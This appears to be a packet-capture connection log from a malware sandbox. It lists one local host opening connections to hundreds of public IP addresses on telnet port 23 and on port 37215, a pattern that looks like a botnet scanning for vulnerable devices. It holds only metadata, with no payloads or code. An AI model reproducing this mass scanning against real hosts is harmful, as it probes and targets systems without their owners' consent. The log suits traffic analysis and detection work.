Dec 3, 2024 22:02:07.189798117 CET	39808	23	192.168.2.14	128.172.15.79
Dec 3, 2024 22:02:07.189798117 CET	39808	23	192.168.2.14	148.101.137.177
Dec 3, 2024 22:02:07.189798117 CET	39808	23	192.168.2.14	147.34.176.77
Dec 3, 2024 22:02:07.189812899 CET	39808	23	192.168.2.14	223.63.245.233
Dec 3, 2024 22:02:07.189814091 CET	39808	23	192.168.2.14	136.54.39.240
Dec 3, 2024 22:02:07.189821005 CET	39808	23	192.168.2.14	64.55.138.98
Dec 3, 2024 22:02:07.189821005 CET	39808	23	192.168.2.14	100.36.148.0
Dec 3, 2024 22:02:07.189826012 CET	39808	23	192.168.2.14	162.242.48.238
Dec 3, 2024 22:02:07.189826012 CET	39808	23	192.168.2.14	161.68.68.43
Dec 3, 2024 22:02:07.189841032 CET	39808	23	192.168.2.14	136.220.208.32
Dec 3, 2024 22:02:07.189843893 CET	39808	23	192.168.2.14	216.88.89.62
Dec 3, 2024 22:02:07.189843893 CET	39808	23	192.168.2.14	178.33.65.42
Dec 3, 2024 22:02:07.189853907 CET	39808	23	192.168.2.14	151.206.5.84
Dec 3, 2024 22:02:07.189861059 CET	39808	23	192.168.2.14	111.66.157.219
Dec 3, 2024 22:02:07.189862013 CET	39808	23	192.168.2.14	205.151.52.87
Dec 3, 2024 22:02:07.189872026 CET	39808	23	192.168.2.14	85.222.147.107
Dec 3, 2024 22:02:07.189872980 CET	39808	23	192.168.2.14	72.117.57.98
Dec 3, 2024 22:02:07.189872980 CET	39808	23	192.168.2.14	192.41.206.46
Dec 3, 2024 22:02:07.189872980 CET	39808	23	192.168.2.14	117.172.179.61
Dec 3, 2024 22:02:07.189883947 CET	39808	23	192.168.2.14	146.25.249.90
Dec 3, 2024 22:02:07.189893961 CET	39808	23	192.168.2.14	74.21.174.61
Dec 3, 2024 22:02:07.189893961 CET	39808	23	192.168.2.14	148.33.209.17
Dec 3, 2024 22:02:07.189893961 CET	39808	23	192.168.2.14	86.172.150.190
Dec 3, 2024 22:02:07.189897060 CET	39808	23	192.168.2.14	146.199.211.6
Dec 3, 2024 22:02:07.189893961 CET	39808	23	192.168.2.14	45.162.139.155
Dec 3, 2024 22:02:07.189903021 CET	39808	23	192.168.2.14	47.238.62.156
Dec 3, 2024 22:02:07.189905882 CET	39808	23	192.168.2.14	95.51.99.131
Dec 3, 2024 22:02:07.189908028 CET	39808	23	192.168.2.14	129.157.246.179
Dec 3, 2024 22:02:07.189920902 CET	39808	23	192.168.2.14	58.147.48.207
Dec 3, 2024 22:02:07.189922094 CET	39808	23	192.168.2.14	1.184.169.115
Dec 3, 2024 22:02:07.189925909 CET	39808	23	192.168.2.14	105.253.145.188
Dec 3, 2024 22:02:07.189924955 CET	39808	23	192.168.2.14	82.230.208.177
Dec 3, 2024 22:02:07.189924955 CET	39808	23	192.168.2.14	219.205.156.152
Dec 3, 2024 22:02:07.189938068 CET	39808	23	192.168.2.14	183.83.168.185
Dec 3, 2024 22:02:07.189943075 CET	39808	23	192.168.2.14	150.37.73.196
Dec 3, 2024 22:02:07.202002048 CET	37215	56222	197.227.173.107	192.168.2.14
Dec 3, 2024 22:02:07.202043056 CET	37215	34830	41.231.216.149	192.168.2.14
Dec 3, 2024 22:02:07.202060938 CET	56222	37215	192.168.2.14	197.227.173.107
Dec 3, 2024 22:02:07.202063084 CET	37215	43676	156.183.203.242	192.168.2.14
Dec 3, 2024 22:02:07.202080965 CET	34830	37215	192.168.2.14	41.231.216.149
Dec 3, 2024 22:02:07.202112913 CET	43676	37215	192.168.2.14	156.183.203.242
Dec 3, 2024 22:02:07.202163935 CET	34830	37215	192.168.2.14	41.231.216.149
Dec 3, 2024 22:02:07.202167034 CET	56222	37215	192.168.2.14	197.227.173.107
Dec 3, 2024 22:02:07.202198029 CET	40832	37215	192.168.2.14	156.157.129.122
Dec 3, 2024 22:02:07.202198029 CET	37215	57560	156.204.54.116	192.168.2.14
Dec 3, 2024 22:02:07.202200890 CET	40832	37215	192.168.2.14	197.215.155.47
Dec 3, 2024 22:02:07.202208042 CET	37215	36038	156.161.126.173	192.168.2.14
Dec 3, 2024 22:02:07.202210903 CET	40832	37215	192.168.2.14	156.131.143.67
Dec 3, 2024 22:02:07.202209949 CET	40832	37215	192.168.2.14	156.64.252.63
Dec 3, 2024 22:02:07.202218056 CET	37215	46614	156.131.137.8	192.168.2.14
Dec 3, 2024 22:02:07.202227116 CET	40832	37215	192.168.2.14	41.171.92.125
Dec 3, 2024 22:02:07.202234030 CET	36038	37215	192.168.2.14	156.161.126.173
Dec 3, 2024 22:02:07.202241898 CET	37215	49218	197.217.251.3	192.168.2.14
Dec 3, 2024 22:02:07.202248096 CET	46614	37215	192.168.2.14	156.131.137.8
Dec 3, 2024 22:02:07.202250004 CET	57560	37215	192.168.2.14	156.204.54.116
Dec 3, 2024 22:02:07.202259064 CET	40832	37215	192.168.2.14	156.128.39.210
Dec 3, 2024 22:02:07.202266932 CET	40832	37215	192.168.2.14	197.9.22.130
Dec 3, 2024 22:02:07.202271938 CET	40832	37215	192.168.2.14	156.187.37.23
Dec 3, 2024 22:02:07.202271938 CET	49218	37215	192.168.2.14	197.217.251.3
Dec 3, 2024 22:02:07.202291012 CET	37215	39484	156.72.185.93	192.168.2.14
Dec 3, 2024 22:02:07.202291965 CET	40832	37215	192.168.2.14	41.89.12.156
Dec 3, 2024 22:02:07.202296972 CET	40832	37215	192.168.2.14	41.1.143.141
Dec 3, 2024 22:02:07.202297926 CET	40832	37215	192.168.2.14	41.200.96.49
Dec 3, 2024 22:02:07.202303886 CET	40832	37215	192.168.2.14	197.85.80.21
Dec 3, 2024 22:02:07.202306986 CET	40832	37215	192.168.2.14	156.121.229.27
Dec 3, 2024 22:02:07.202306986 CET	40832	37215	192.168.2.14	156.212.221.80
Dec 3, 2024 22:02:07.202306986 CET	40832	37215	192.168.2.14	197.71.230.215
Dec 3, 2024 22:02:07.202320099 CET	40832	37215	192.168.2.14	156.220.162.20
Dec 3, 2024 22:02:07.202320099 CET	37215	54614	41.233.227.101	192.168.2.14
Dec 3, 2024 22:02:07.202323914 CET	39484	37215	192.168.2.14	156.72.185.93
Dec 3, 2024 22:02:07.202339888 CET	40832	37215	192.168.2.14	41.93.73.82
Dec 3, 2024 22:02:07.202341080 CET	40832	37215	192.168.2.14	197.1.77.226
Dec 3, 2024 22:02:07.202342033 CET	37215	56570	41.154.31.154	192.168.2.14
Dec 3, 2024 22:02:07.202356100 CET	54614	37215	192.168.2.14	41.233.227.101
Dec 3, 2024 22:02:07.202358961 CET	40832	37215	192.168.2.14	197.165.26.86
Dec 3, 2024 22:02:07.202359915 CET	37215	43410	197.49.101.41	192.168.2.14
Dec 3, 2024 22:02:07.202370882 CET	37215	46896	41.246.60.179	192.168.2.14
Dec 3, 2024 22:02:07.202373028 CET	40832	37215	192.168.2.14	197.68.137.109
Dec 3, 2024 22:02:07.202378035 CET	40832	37215	192.168.2.14	156.15.62.197
Dec 3, 2024 22:02:07.202387094 CET	40832	37215	192.168.2.14	156.169.32.121
Dec 3, 2024 22:02:07.202388048 CET	56570	37215	192.168.2.14	41.154.31.154
Dec 3, 2024 22:02:07.202388048 CET	40832	37215	192.168.2.14	197.97.19.85
Dec 3, 2024 22:02:07.202389002 CET	43410	37215	192.168.2.14	197.49.101.41
Dec 3, 2024 22:02:07.202389002 CET	40832	37215	192.168.2.14	197.147.110.102
Dec 3, 2024 22:02:07.202389956 CET	40832	37215	192.168.2.14	197.83.196.39
Dec 3, 2024 22:02:07.202398062 CET	46896	37215	192.168.2.14	41.246.60.179
Dec 3, 2024 22:02:07.202413082 CET	40832	37215	192.168.2.14	197.42.164.38
Dec 3, 2024 22:02:07.202414989 CET	40832	37215	192.168.2.14	156.229.189.219
Dec 3, 2024 22:02:07.202420950 CET	40832	37215	192.168.2.14	156.164.112.37
Dec 3, 2024 22:02:07.202421904 CET	40832	37215	192.168.2.14	156.9.207.16
Dec 3, 2024 22:02:07.202445030 CET	40832	37215	192.168.2.14	156.84.13.181
Dec 3, 2024 22:02:07.202445030 CET	40832	37215	192.168.2.14	41.82.193.226
Dec 3, 2024 22:02:07.202447891 CET	40832	37215	192.168.2.14	197.152.221.174
Dec 3, 2024 22:02:07.202456951 CET	40832	37215	192.168.2.14	197.175.185.69
Dec 3, 2024 22:02:07.202457905 CET	40832	37215	192.168.2.14	156.219.181.145
Dec 3, 2024 22:02:07.202465057 CET	40832	37215	192.168.2.14	41.155.145.101
Dec 3, 2024 22:02:07.202469110 CET	40832	37215	192.168.2.14	197.35.2.171
Dec 3, 2024 22:02:07.202476978 CET	40832	37215	192.168.2.14	156.155.63.226
Dec 3, 2024 22:02:07.202481985 CET	37215	59420	197.71.140.80	192.168.2.14
Dec 3, 2024 22:02:07.202487946 CET	40832	37215	192.168.2.14	197.57.15.62
Dec 3, 2024 22:02:07.202492952 CET	37215	55490	197.198.132.132	192.168.2.14
Dec 3, 2024 22:02:07.202500105 CET	40832	37215	192.168.2.14	197.203.151.151
Dec 3, 2024 22:02:07.202501059 CET	40832	37215	192.168.2.14	197.157.0.246
Dec 3, 2024 22:02:07.202502966 CET	40832	37215	192.168.2.14	156.80.242.37
Dec 3, 2024 22:02:07.202502966 CET	40832	37215	192.168.2.14	156.245.129.131
Dec 3, 2024 22:02:07.202503920 CET	37215	57766	41.10.137.114	192.168.2.14
Dec 3, 2024 22:02:07.202503920 CET	40832	37215	192.168.2.14	197.253.185.232
Dec 3, 2024 22:02:07.202503920 CET	40832	37215	192.168.2.14	197.212.154.19
Dec 3, 2024 22:02:07.202512980 CET	59420	37215	192.168.2.14	197.71.140.80
Dec 3, 2024 22:02:07.202514887 CET	37215	34098	197.231.16.59	192.168.2.14
Dec 3, 2024 22:02:07.202523947 CET	37215	60542	41.153.253.195	192.168.2.14
Dec 3, 2024 22:02:07.202523947 CET	55490	37215	192.168.2.14	197.198.132.132
Dec 3, 2024 22:02:07.202528000 CET	40832	37215	192.168.2.14	156.255.65.160
Dec 3, 2024 22:02:07.202528000 CET	57766	37215	192.168.2.14	41.10.137.114
Dec 3, 2024 22:02:07.202533007 CET	40832	37215	192.168.2.14	156.164.242.179
Dec 3, 2024 22:02:07.202533007 CET	40832	37215	192.168.2.14	156.237.219.179
Dec 3, 2024 22:02:07.202534914 CET	37215	44980	197.152.168.4	192.168.2.14
Dec 3, 2024 22:02:07.202538013 CET	40832	37215	192.168.2.14	156.154.247.150
Dec 3, 2024 22:02:07.202545881 CET	37215	53170	156.218.161.155	192.168.2.14
Dec 3, 2024 22:02:07.202547073 CET	40832	37215	192.168.2.14	156.217.245.228
Dec 3, 2024 22:02:07.202547073 CET	40832	37215	192.168.2.14	197.152.173.34
Dec 3, 2024 22:02:07.202547073 CET	40832	37215	192.168.2.14	41.15.20.168
Dec 3, 2024 22:02:07.202548981 CET	34098	37215	192.168.2.14	197.231.16.59
Dec 3, 2024 22:02:07.202553034 CET	40832	37215	192.168.2.14	41.187.209.13
Dec 3, 2024 22:02:07.202557087 CET	40832	37215	192.168.2.14	41.140.119.66
Dec 3, 2024 22:02:07.202560902 CET	40832	37215	192.168.2.14	156.244.100.79
Dec 3, 2024 22:02:07.202560902 CET	44980	37215	192.168.2.14	197.152.168.4
Dec 3, 2024 22:02:07.202560902 CET	40832	37215	192.168.2.14	197.177.55.149
Dec 3, 2024 22:02:07.202564955 CET	37215	39230	156.180.52.49	192.168.2.14
Dec 3, 2024 22:02:07.202567101 CET	60542	37215	192.168.2.14	41.153.253.195
Dec 3, 2024 22:02:07.202574968 CET	37215	50454	156.55.125.14	192.168.2.14
Dec 3, 2024 22:02:07.202579021 CET	40832	37215	192.168.2.14	156.44.27.17
Dec 3, 2024 22:02:07.202579021 CET	40832	37215	192.168.2.14	41.204.139.50
Dec 3, 2024 22:02:07.202579975 CET	40832	37215	192.168.2.14	156.181.39.154
Dec 3, 2024 22:02:07.202579975 CET	40832	37215	192.168.2.14	156.127.179.168
Dec 3, 2024 22:02:07.202588081 CET	53170	37215	192.168.2.14	156.218.161.155
Dec 3, 2024 22:02:07.202588081 CET	40832	37215	192.168.2.14	156.161.198.67
Dec 3, 2024 22:02:07.202590942 CET	40832	37215	192.168.2.14	197.254.118.227
Dec 3, 2024 22:02:07.202590942 CET	37215	39224	156.115.5.177	192.168.2.14
Dec 3, 2024 22:02:07.202591896 CET	40832	37215	192.168.2.14	41.171.30.96
Dec 3, 2024 22:02:07.202590942 CET	39230	37215	192.168.2.14	156.180.52.49
Dec 3, 2024 22:02:07.202591896 CET	40832	37215	192.168.2.14	197.180.54.52
Dec 3, 2024 22:02:07.202603102 CET	50454	37215	192.168.2.14	156.55.125.14
Dec 3, 2024 22:02:07.202604055 CET	37215	33190	41.163.239.113	192.168.2.14
Dec 3, 2024 22:02:07.202614069 CET	40832	37215	192.168.2.14	41.226.233.79
Dec 3, 2024 22:02:07.202616930 CET	40832	37215	192.168.2.14	197.69.146.41
Dec 3, 2024 22:02:07.202620029 CET	39224	37215	192.168.2.14	156.115.5.177
Dec 3, 2024 22:02:07.202621937 CET	37215	43920	197.86.98.63	192.168.2.14
Dec 3, 2024 22:02:07.202622890 CET	40832	37215	192.168.2.14	156.18.143.155
Dec 3, 2024 22:02:07.202631950 CET	37215	53440	156.8.122.245	192.168.2.14
Dec 3, 2024 22:02:07.202634096 CET	33190	37215	192.168.2.14	41.163.239.113
Dec 3, 2024 22:02:07.202634096 CET	40832	37215	192.168.2.14	156.186.199.117
Dec 3, 2024 22:02:07.202650070 CET	40832	37215	192.168.2.14	41.173.189.255
Dec 3, 2024 22:02:07.202650070 CET	40832	37215	192.168.2.14	156.169.124.107
Dec 3, 2024 22:02:07.202665091 CET	43920	37215	192.168.2.14	197.86.98.63
Dec 3, 2024 22:02:07.202666044 CET	40832	37215	192.168.2.14	41.54.44.99
Dec 3, 2024 22:02:07.202666044 CET	53440	37215	192.168.2.14	156.8.122.245
Dec 3, 2024 22:02:07.202667952 CET	40832	37215	192.168.2.14	197.47.19.43
Dec 3, 2024 22:02:07.202681065 CET	40832	37215	192.168.2.14	197.90.207.173
Dec 3, 2024 22:02:07.202685118 CET	40832	37215	192.168.2.14	197.123.58.39
Dec 3, 2024 22:02:07.202685118 CET	40832	37215	192.168.2.14	41.214.157.188
Dec 3, 2024 22:02:07.202697992 CET	40832	37215	192.168.2.14	197.148.90.14
Dec 3, 2024 22:02:07.202698946 CET	40832	37215	192.168.2.14	197.235.164.145
Dec 3, 2024 22:02:07.202704906 CET	40832	37215	192.168.2.14	156.158.126.242
Dec 3, 2024 22:02:07.202718019 CET	40832	37215	192.168.2.14	41.3.172.73
Dec 3, 2024 22:02:07.202727079 CET	40832	37215	192.168.2.14	41.16.155.200
Dec 3, 2024 22:02:07.202733040 CET	40832	37215	192.168.2.14	156.145.119.12
Dec 3, 2024 22:02:07.202733994 CET	40832	37215	192.168.2.14	156.192.148.83
Dec 3, 2024 22:02:07.202740908 CET	40832	37215	192.168.2.14	156.76.159.156
Dec 3, 2024 22:02:07.202747107 CET	40832	37215	192.168.2.14	41.171.178.8
Dec 3, 2024 22:02:07.202764988 CET	40832	37215	192.168.2.14	41.9.150.216
Dec 3, 2024 22:02:07.202769041 CET	40832	37215	192.168.2.14	197.144.232.15
Dec 3, 2024 22:02:07.202770948 CET	40832	37215	192.168.2.14	197.231.77.123
Dec 3, 2024 22:02:07.202774048 CET	40832	37215	192.168.2.14	41.131.130.78
Dec 3, 2024 22:02:07.202786922 CET	40832	37215	192.168.2.14	156.213.65.167
Dec 3, 2024 22:02:07.202790976 CET	40832	37215	192.168.2.14	197.224.119.253
Dec 3, 2024 22:02:07.202794075 CET	40832	37215	192.168.2.14	156.39.42.237
Dec 3, 2024 22:02:07.202811003 CET	40832	37215	192.168.2.14	156.13.219.144
Dec 3, 2024 22:02:07.202811956 CET	40832	37215	192.168.2.14	156.25.209.56
Dec 3, 2024 22:02:07.202812910 CET	40832	37215	192.168.2.14	197.18.103.244
Dec 3, 2024 22:02:07.202816963 CET	40832	37215	192.168.2.14	197.222.105.28
Dec 3, 2024 22:02:07.202828884 CET	40832	37215	192.168.2.14	156.38.57.63
Dec 3, 2024 22:02:07.202835083 CET	40832	37215	192.168.2.14	41.216.62.130
Dec 3, 2024 22:02:07.202836037 CET	40832	37215	192.168.2.14	156.38.126.148
Dec 3, 2024 22:02:07.202848911 CET	40832	37215	192.168.2.14	197.137.105.59
Dec 3, 2024 22:02:07.202848911 CET	40832	37215	192.168.2.14	41.186.212.43
Dec 3, 2024 22:02:07.202848911 CET	40832	37215	192.168.2.14	41.128.222.1
Dec 3, 2024 22:02:07.202871084 CET	40832	37215	192.168.2.14	197.248.62.217
Dec 3, 2024 22:02:07.202872038 CET	40832	37215	192.168.2.14	197.219.24.60
Dec 3, 2024 22:02:07.202872992 CET	40832	37215	192.168.2.14	156.80.116.140
Dec 3, 2024 22:02:07.202872038 CET	40832	37215	192.168.2.14	197.241.104.42
Dec 3, 2024 22:02:07.202873945 CET	40832	37215	192.168.2.14	197.92.30.19
Dec 3, 2024 22:02:07.202888012 CET	40832	37215	192.168.2.14	156.190.232.205
Dec 3, 2024 22:02:07.202891111 CET	40832	37215	192.168.2.14	197.225.55.196
Dec 3, 2024 22:02:07.202900887 CET	40832	37215	192.168.2.14	156.249.102.29
Dec 3, 2024 22:02:07.202904940 CET	40832	37215	192.168.2.14	41.113.194.99
Dec 3, 2024 22:02:07.202909946 CET	40832	37215	192.168.2.14	41.104.119.29
Dec 3, 2024 22:02:07.202923059 CET	40832	37215	192.168.2.14	197.40.210.250
Dec 3, 2024 22:02:07.202924013 CET	40832	37215	192.168.2.14	197.51.76.223
Dec 3, 2024 22:02:07.202936888 CET	40832	37215	192.168.2.14	156.170.57.190
Dec 3, 2024 22:02:07.202940941 CET	40832	37215	192.168.2.14	156.105.131.24
Dec 3, 2024 22:02:07.202940941 CET	40832	37215	192.168.2.14	41.85.77.76
Dec 3, 2024 22:02:07.202944040 CET	40832	37215	192.168.2.14	156.154.89.25
Dec 3, 2024 22:02:07.202960014 CET	40832	37215	192.168.2.14	197.52.220.215
Dec 3, 2024 22:02:07.202965975 CET	40832	37215	192.168.2.14	41.81.50.24
Dec 3, 2024 22:02:07.202965975 CET	40832	37215	192.168.2.14	197.240.253.176
Dec 3, 2024 22:02:07.202965975 CET	40832	37215	192.168.2.14	41.76.70.205
Dec 3, 2024 22:02:07.202970982 CET	40832	37215	192.168.2.14	41.172.141.246
Dec 3, 2024 22:02:07.202980042 CET	40832	37215	192.168.2.14	156.33.95.146
Dec 3, 2024 22:02:07.202980042 CET	40832	37215	192.168.2.14	41.9.228.182
Dec 3, 2024 22:02:07.202984095 CET	40832	37215	192.168.2.14	156.68.44.235
Dec 3, 2024 22:02:07.202986956 CET	40832	37215	192.168.2.14	41.106.160.198
Dec 3, 2024 22:02:07.202996969 CET	40832	37215	192.168.2.14	156.21.247.225
Dec 3, 2024 22:02:07.202996969 CET	40832	37215	192.168.2.14	197.132.27.183
Dec 3, 2024 22:02:07.202999115 CET	40832	37215	192.168.2.14	197.32.206.149
Dec 3, 2024 22:02:07.203006029 CET	40832	37215	192.168.2.14	41.209.91.210
Dec 3, 2024 22:02:07.203020096 CET	40832	37215	192.168.2.14	156.146.242.116
Dec 3, 2024 22:02:07.203026056 CET	40832	37215	192.168.2.14	156.35.148.34
Dec 3, 2024 22:02:07.203027010 CET	40832	37215	192.168.2.14	41.32.191.225
Dec 3, 2024 22:02:07.203027010 CET	40832	37215	192.168.2.14	156.37.42.187
Dec 3, 2024 22:02:07.203028917 CET	40832	37215	192.168.2.14	156.200.170.93
Dec 3, 2024 22:02:07.203031063 CET	40832	37215	192.168.2.14	41.166.76.197
Dec 3, 2024 22:02:07.203031063 CET	40832	37215	192.168.2.14	41.23.183.59
Dec 3, 2024 22:02:07.203035116 CET	40832	37215	192.168.2.14	41.254.178.54
Dec 3, 2024 22:02:07.203053951 CET	40832	37215	192.168.2.14	197.213.230.64
Dec 3, 2024 22:02:07.203053951 CET	40832	37215	192.168.2.14	41.156.64.226
Dec 3, 2024 22:02:07.203068018 CET	40832	37215	192.168.2.14	197.163.149.90
Dec 3, 2024 22:02:07.203069925 CET	40832	37215	192.168.2.14	41.56.49.68
Dec 3, 2024 22:02:07.203071117 CET	40832	37215	192.168.2.14	41.79.14.55
Dec 3, 2024 22:02:07.203073025 CET	40832	37215	192.168.2.14	156.62.237.23
Dec 3, 2024 22:02:07.203077078 CET	40832	37215	192.168.2.14	156.197.38.253
Dec 3, 2024 22:02:07.203087091 CET	40832	37215	192.168.2.14	41.147.9.53
Dec 3, 2024 22:02:07.203094006 CET	40832	37215	192.168.2.14	41.3.43.196
Dec 3, 2024 22:02:07.203108072 CET	40832	37215	192.168.2.14	41.242.117.219
Dec 3, 2024 22:02:07.203108072 CET	40832	37215	192.168.2.14	197.92.61.30
Dec 3, 2024 22:02:07.203119040 CET	40832	37215	192.168.2.14	41.216.130.219
Dec 3, 2024 22:02:07.203124046 CET	40832	37215	192.168.2.14	41.133.155.146
Dec 3, 2024 22:02:07.203128099 CET	40832	37215	192.168.2.14	156.143.58.23
Dec 3, 2024 22:02:07.203140020 CET	40832	37215	192.168.2.14	197.199.131.39
Dec 3, 2024 22:02:07.203141928 CET	40832	37215	192.168.2.14	197.10.129.144
Dec 3, 2024 22:02:07.203154087 CET	40832	37215	192.168.2.14	41.152.52.165
Dec 3, 2024 22:02:07.203171968 CET	40832	37215	192.168.2.14	41.16.68.180
Dec 3, 2024 22:02:07.203172922 CET	40832	37215	192.168.2.14	156.224.159.153
Dec 3, 2024 22:02:07.203172922 CET	40832	37215	192.168.2.14	197.213.145.47
Dec 3, 2024 22:02:07.203182936 CET	40832	37215	192.168.2.14	41.249.16.108
Dec 3, 2024 22:02:07.203185081 CET	40832	37215	192.168.2.14	197.212.237.95
Dec 3, 2024 22:02:07.203185081 CET	40832	37215	192.168.2.14	41.59.244.124
Dec 3, 2024 22:02:07.203198910 CET	40832	37215	192.168.2.14	41.28.113.141
Dec 3, 2024 22:02:07.203198910 CET	40832	37215	192.168.2.14	156.90.102.244
Dec 3, 2024 22:02:07.203198910 CET	40832	37215	192.168.2.14	156.171.71.75
Dec 3, 2024 22:02:07.203202009 CET	40832	37215	192.168.2.14	41.109.128.159
Dec 3, 2024 22:02:07.203202963 CET	40832	37215	192.168.2.14	156.16.26.234
Dec 3, 2024 22:02:07.203207016 CET	40832	37215	192.168.2.14	156.23.127.129
Dec 3, 2024 22:02:07.203219891 CET	40832	37215	192.168.2.14	156.69.229.102
Dec 3, 2024 22:02:07.203219891 CET	40832	37215	192.168.2.14	156.29.253.109
Dec 3, 2024 22:02:07.203222036 CET	40832	37215	192.168.2.14	41.181.19.116
Dec 3, 2024 22:02:07.203234911 CET	40832	37215	192.168.2.14	197.168.209.15
Dec 3, 2024 22:02:07.203238010 CET	40832	37215	192.168.2.14	156.83.213.37
Dec 3, 2024 22:02:07.203241110 CET	40832	37215	192.168.2.14	197.251.58.6
Dec 3, 2024 22:02:07.203254938 CET	40832	37215	192.168.2.14	156.110.85.91
Dec 3, 2024 22:02:07.203254938 CET	40832	37215	192.168.2.14	197.102.4.221
Dec 3, 2024 22:02:07.203258991 CET	40832	37215	192.168.2.14	156.39.56.0
Dec 3, 2024 22:02:07.203270912 CET	40832	37215	192.168.2.14	197.50.32.2
Dec 3, 2024 22:02:07.203274965 CET	40832	37215	192.168.2.14	197.35.160.234
Dec 3, 2024 22:02:07.203284979 CET	40832	37215	192.168.2.14	41.36.233.100
Dec 3, 2024 22:02:07.203301907 CET	40832	37215	192.168.2.14	156.132.61.95
Dec 3, 2024 22:02:07.203304052 CET	40832	37215	192.168.2.14	156.70.199.34
Dec 3, 2024 22:02:07.203310966 CET	40832	37215	192.168.2.14	156.135.191.113
Dec 3, 2024 22:02:07.203318119 CET	40832	37215	192.168.2.14	156.95.79.229
Dec 3, 2024 22:02:07.203318119 CET	40832	37215	192.168.2.14	41.194.221.172
Dec 3, 2024 22:02:07.203318119 CET	40832	37215	192.168.2.14	41.43.25.195
Dec 3, 2024 22:02:07.203321934 CET	40832	37215	192.168.2.14	197.102.120.249
Dec 3, 2024 22:02:07.203327894 CET	40832	37215	192.168.2.14	156.209.157.185
Dec 3, 2024 22:02:07.203331947 CET	40832	37215	192.168.2.14	41.191.44.1
Dec 3, 2024 22:02:07.203334093 CET	40832	37215	192.168.2.14	197.247.149.123
Dec 3, 2024 22:02:07.203349113 CET	40832	37215	192.168.2.14	197.66.14.82
Dec 3, 2024 22:02:07.203356028 CET	40832	37215	192.168.2.14	197.180.60.99
Dec 3, 2024 22:02:07.203360081 CET	40832	37215	192.168.2.14	41.72.238.102
Dec 3, 2024 22:02:07.203366995 CET	40832	37215	192.168.2.14	41.140.206.108
Dec 3, 2024 22:02:07.203371048 CET	40832	37215	192.168.2.14	197.95.64.126
Dec 3, 2024 22:02:07.203382015 CET	40832	37215	192.168.2.14	156.189.57.16
Dec 3, 2024 22:02:07.203387976 CET	40832	37215	192.168.2.14	156.157.65.70
Dec 3, 2024 22:02:07.203394890 CET	40832	37215	192.168.2.14	197.146.251.126
Dec 3, 2024 22:02:07.203401089 CET	40832	37215	192.168.2.14	156.214.36.63
Dec 3, 2024 22:02:07.203401089 CET	40832	37215	192.168.2.14	197.94.208.160
Dec 3, 2024 22:02:07.203413963 CET	40832	37215	192.168.2.14	197.11.91.13
Dec 3, 2024 22:02:07.203416109 CET	40832	37215	192.168.2.14	41.97.177.229
Dec 3, 2024 22:02:07.203419924 CET	40832	37215	192.168.2.14	197.167.33.66
Dec 3, 2024 22:02:07.203433990 CET	40832	37215	192.168.2.14	156.246.240.229
Dec 3, 2024 22:02:07.203442097 CET	40832	37215	192.168.2.14	156.190.118.95
Dec 3, 2024 22:02:07.203442097 CET	40832	37215	192.168.2.14	197.191.69.141
Dec 3, 2024 22:02:07.203458071 CET	40832	37215	192.168.2.14	41.166.149.1
Dec 3, 2024 22:02:07.203459978 CET	40832	37215	192.168.2.14	156.114.212.178
Dec 3, 2024 22:02:07.203463078 CET	40832	37215	192.168.2.14	156.80.187.41
Dec 3, 2024 22:02:07.203470945 CET	40832	37215	192.168.2.14	156.116.196.59
Dec 3, 2024 22:02:07.203470945 CET	40832	37215	192.168.2.14	156.232.134.134
Dec 3, 2024 22:02:07.203474045 CET	40832	37215	192.168.2.14	156.111.155.109
Dec 3, 2024 22:02:07.203474045 CET	40832	37215	192.168.2.14	41.121.240.57
Dec 3, 2024 22:02:07.203478098 CET	40832	37215	192.168.2.14	197.102.188.217
Dec 3, 2024 22:02:07.203490019 CET	40832	37215	192.168.2.14	197.124.191.70
Dec 3, 2024 22:02:07.203490973 CET	40832	37215	192.168.2.14	41.41.167.147
Dec 3, 2024 22:02:07.203491926 CET	40832	37215	192.168.2.14	41.72.57.64
Dec 3, 2024 22:02:07.203491926 CET	40832	37215	192.168.2.14	41.83.5.4
Dec 3, 2024 22:02:07.203491926 CET	40832	37215	192.168.2.14	197.36.173.227
Dec 3, 2024 22:02:07.203501940 CET	40832	37215	192.168.2.14	197.65.109.190
Dec 3, 2024 22:02:07.203509092 CET	40832	37215	192.168.2.14	197.32.90.35
Dec 3, 2024 22:02:07.203511953 CET	40832	37215	192.168.2.14	197.182.132.28
Dec 3, 2024 22:02:07.203536987 CET	40832	37215	192.168.2.14	41.187.190.213
Dec 3, 2024 22:02:07.203540087 CET	40832	37215	192.168.2.14	197.168.69.71
Dec 3, 2024 22:02:07.203543901 CET	40832	37215	192.168.2.14	197.209.36.14
Dec 3, 2024 22:02:07.203556061 CET	40832	37215	192.168.2.14	41.224.248.129
Dec 3, 2024 22:02:07.203557968 CET	40832	37215	192.168.2.14	197.96.170.138
Dec 3, 2024 22:02:07.203558922 CET	40832	37215	192.168.2.14	41.153.185.135
Dec 3, 2024 22:02:07.203568935 CET	40832	37215	192.168.2.14	197.139.230.223
Dec 3, 2024 22:02:07.203569889 CET	40832	37215	192.168.2.14	156.89.12.154
Dec 3, 2024 22:02:07.203569889 CET	40832	37215	192.168.2.14	41.106.66.183
Dec 3, 2024 22:02:07.203577995 CET	40832	37215	192.168.2.14	156.33.85.81
Dec 3, 2024 22:02:07.203578949 CET	40832	37215	192.168.2.14	41.104.120.98
Dec 3, 2024 22:02:07.203592062 CET	40832	37215	192.168.2.14	41.104.177.82
Dec 3, 2024 22:02:07.203605890 CET	40832	37215	192.168.2.14	197.73.176.31
Dec 3, 2024 22:02:07.203605890 CET	40832	37215	192.168.2.14	156.195.243.253
Dec 3, 2024 22:02:07.203608036 CET	40832	37215	192.168.2.14	197.4.163.19
Dec 3, 2024 22:02:07.203628063 CET	40832	37215	192.168.2.14	197.45.113.137
Dec 3, 2024 22:02:07.203632116 CET	40832	37215	192.168.2.14	41.249.65.8
Dec 3, 2024 22:02:07.203632116 CET	40832	37215	192.168.2.14	197.51.8.155
Dec 3, 2024 22:02:07.203633070 CET	40832	37215	192.168.2.14	41.83.205.237
Dec 3, 2024 22:02:07.203645945 CET	40832	37215	192.168.2.14	41.240.49.254
Dec 3, 2024 22:02:07.203645945 CET	40832	37215	192.168.2.14	41.237.56.233
Dec 3, 2024 22:02:07.203645945 CET	40832	37215	192.168.2.14	41.197.251.193
Dec 3, 2024 22:02:07.203646898 CET	40832	37215	192.168.2.14	197.189.125.1
Dec 3, 2024 22:02:07.203645945 CET	40832	37215	192.168.2.14	197.126.193.215
Dec 3, 2024 22:02:07.203650951 CET	40832	37215	192.168.2.14	197.219.65.120
Dec 3, 2024 22:02:07.203645945 CET	40832	37215	192.168.2.14	156.213.127.224
Dec 3, 2024 22:02:07.203654051 CET	40832	37215	192.168.2.14	156.160.14.221
